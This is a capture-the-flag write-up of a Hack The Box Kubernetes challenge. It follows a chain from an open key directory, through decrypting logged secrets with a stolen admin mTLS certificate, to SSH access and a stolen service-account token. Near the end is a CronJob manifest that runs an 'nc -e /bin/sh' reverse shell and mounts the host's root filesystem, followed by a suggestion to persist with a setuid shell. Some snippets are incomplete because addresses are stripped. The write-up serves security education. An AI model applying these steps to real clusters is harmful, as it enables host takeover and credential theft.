We just launched an online password management, we would like you to look into our infrastructue and spot any issues.

Category: Cloud

Solver: rgw, linaScience

Flag: HTB{ph00L_T4k3_tHy_pl345UR3_ri9ht_0r_WR0n9!}


We get an IP address and run a full port scan with host detection (nmap -A -p-) and see a few open ports:

22/tcp    open  ssh            syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   [...]
80/tcp    open  http           syn-ack nginx 1.18.0
|_http-title: Sophist Key Manager
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0
8080/tcp  open  ssl/http-proxy syn-ack
|_http-title: Site doesn't have a title.
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=admin
|   [...]
8443/tcp  open  ssl/https-alt  syn-ack
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| fingerprint-strings: 
|   GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 7ec84791-51f5-437c-977d-2c4954bf15ec
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Fri, 25 Mar 2022 17:33:27 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 8e9af1ed-aba6-4463-bf14-afd6e003d2b2
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Fri, 25 Mar 2022 17:33:27 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
|   [...]
10250/tcp open  ssl/http       syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=sophist
|   [...]
10251/tcp open  unknown        syn-ack
31337/tcp open  ssh            syn-ack OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   [...]

We can see that the node is the master node of a Kubernetes Cluster. Port 80 and 8080 are application service ports, 8443 is a Kubernetes API Port (HTTPS), ports 10250 and 10251 are Kubelet API Ports and 31337 is an application NodePort.

We look at port 8443 and see that we need to authenticate to the Kubernetes API before making any request. We saw a server with exposed unauthenticated kubelet on ports 10250 and 10251 in the qualifiers [1], but this time, we can’t do anything without authentication. Ports 22 and 31337 are also not useful right now since we do not have any SSH credentials and/or keys.

We first look at port 80 and are greeted with a website called “Sophist Key Manager):

None of the links except “Login” and “Register” work. We register and log in and see a welcome page:

We are interested in the “Manage Key” functionality and get a X509 certificate and private key, a server URL as well as some HTTP API endpoints:

We also see a hint that we have to contact admin regarding permissions. Our private and public keys say that they should be used for TLS Web client authentication, also known as mutual TLS (mTLS):

$ openssl x509 -in client.crt -text
        Version: 3 (0x2)
        Serial Number:
        Signature Algorithm: ED25519
        Issuer: CN = client
            Not Before: Mar 16 07:51:24 2022 GMT
            Not After : Apr 15 07:51:24 2022 GMT
        Subject: CN = client
        Subject Public Key Info:
            Public Key Algorithm: ED25519
                ED25519 Public-Key:
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
            X509v3 Basic Constraints: critical
    Signature Algorithm: ED25519

The download URLs point to /keys/client.key and /keys/client.crt respectively, so we try accessing /keys to see whether the webserver supports directory indexing:

We can now download the admin certificate and key and need not worry about permissions anymore. The webserver also contains a file called curl.log which looks like this:

{"ciphertext": "eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaXYiOiIwUXJ0alUvWDJtUEtUK3A1R3JwdktRPT0iLCJub25jZSI6ImpxOGliYXVxKzY0dEZBM0kiLCJieXRlcyI6Im1MQ21hdzVxQW9acXpwOTJoMjZuRTJWR01BVkdCTTlJalNtT05SYz0ifQ=="}




Base64-decoding one of the ciphertexts results in:


We cannot decrypt the data at this time so we look at the other services. One service we haven’t looked at is port 8080. Ignoring any certificate warnings, we still cannot access the site:

$ curl -k
nSSL SSL_read: error:14094412:SSL routines:ssl3_read_bytes:sslv3
ificate, errno 0

Since we have an admin certificate and private key, we try using mTLS to access the site:

$ curl --key admin.key --cert admin.crt -k
404 page not found

This seems to work. Let’s try using the API endpoints to create a new key:

$ curl --key admin.key --cert admin.crt -k -X POST
$ curl --key admin.key --cert admin.crt -k

We can encrypt and decrypt messages:

$ curl --key admin.key --cert admin.crt -k -X POST -d '{"plaintext": "helo"}'
$ curl --key admin.key --cert admin.crt -k -X POST -d '{"ciphertext":"eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaWQiOiIxZjEwNmZjNDQxMDg5ZTJlMjIxODJhOGM0ZTVhNzY4OCIsIml2IjoiRnRFZk1ZZ3F5Z05MTXV4dnl2cWxiQT09Iiwibm9uY2UiOiJEZWdveGhzOStaU3J6ZlJYIiwiYnl0ZXMiOiJZSDZzOGhPaDRURXdDNUVqdFBsOTlyaVpTUT09In0="}'

We poke around a bit to find out that requesting /v1/key/list/* lists all available keys, including one named ssh-creds:

$ curl --key admin.key --cert admin.crt -k*

We remember the downloaded curl.log from before and try to decrypt one entry. Since the API returns errors for the first few items, we write a script to decrypt all entries in curl.log:

import subprocess
import os

with open('../curl.log') as f:
    data = f.read().split("\n")

for line in data:
    if line == '' or line.startswith('#'):
    os.system("curl -k --key admin.key --cert admin.crt --cacert admin.crt -X POST -d '" + line + "'")

We get the result {"plaintext":"U3VwZXJDcmF6eVBhc3N3b3JkMTIzIQo="} several times. Base64-decoding gives us SuperCrazyPassword123!. Since the key was named ssh-creds, we try using the password on an SSH port. Logging in on port 31337 with username admin is successful:

$ ssh admin@ -p 31337
The authenticity of host '[]:31337 ([]:31337)' can't be established.
ED25519 key fingerprint is SHA256:eMLNzgpfmeh2AHnVw97/PJBK4a+yF9Rh4JqS3fou9To.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[]:31337' (ED25519) to the list of known hosts.
admin@'s password:
Welcome to OpenSSH Server


We cannot find any flag on the server. Instead, since this is a pod run by Kubernetes, we look at /run/secrets/kubernetes.io/serviceaccount: where we find three files:

ssh-deployment-5fcf86748f-r4tsc:/run/secrets/kubernetes.io/serviceaccount$ ls
ca.crt  namespace  token

We get a token for the namespace default. On our system, we modify ~/.kube/config to contain the token:

apiVersion: v1
- cluster:
    insecure-skip-tls-verify: true
  name: default
- context:
    cluster: default
    user: default
  name: default
current-context: default
kind: Config
preferences: {}
- name: default
    token: <token>

We run kubectl auth can-i --list to get the service account’s permissions:

$ kubectl auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
cronjobs.*                                      []                                    []               [*]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

We see that the service account does not have many permissions, but it is allowed to do everything related to cronjobs. On a Kubernetes cluster, a cronjob is a type of API object that creates jobs periodically. These jobs spawn pods that execute some tasks. To get access to the server, our plan was to create a cronjob with a pod running a reverse shell. In the pod, we would mount a the host’s file system as a volume.

The problem was to properly select the pod’s image. Since the node did not have internet access and pulling images over HTTP is disabled by default in Kubernetes, we had to use an image already present on the node. The server running on port 31337 looked like linuxserver/openssh-server [2] so we tried using this image. Since we were not able to connect back to our systems from the SSH server, we set up the reverse shell to connect to the SSH server in the cluster:

apiVersion: batch/v1
kind: CronJob
  name: hello
  schedule: "* * * * *"
          - name: hello
            image:  linuxserver/openssh-server
            command: ["/usr/bin/nc", "", "4444", "-e", "/bin/sh"]
            imagePullPolicy: Never
            - mountPath: /host
              name: noderoot
          - name: noderoot
              path: /
          restartPolicy: OnFailure

We get the flag:

$ pwd
$ ls
$ cat flag.txt

To persist ourselves, we could now add our own SSH keys to a user and give them a setuid shell.

Other resources

[1] https://platypwnies.de/writeups/2021/htb-uni-quals/cloud/steamcloud/

[2] https://hub.docker.com/r/linuxserver/openssh-server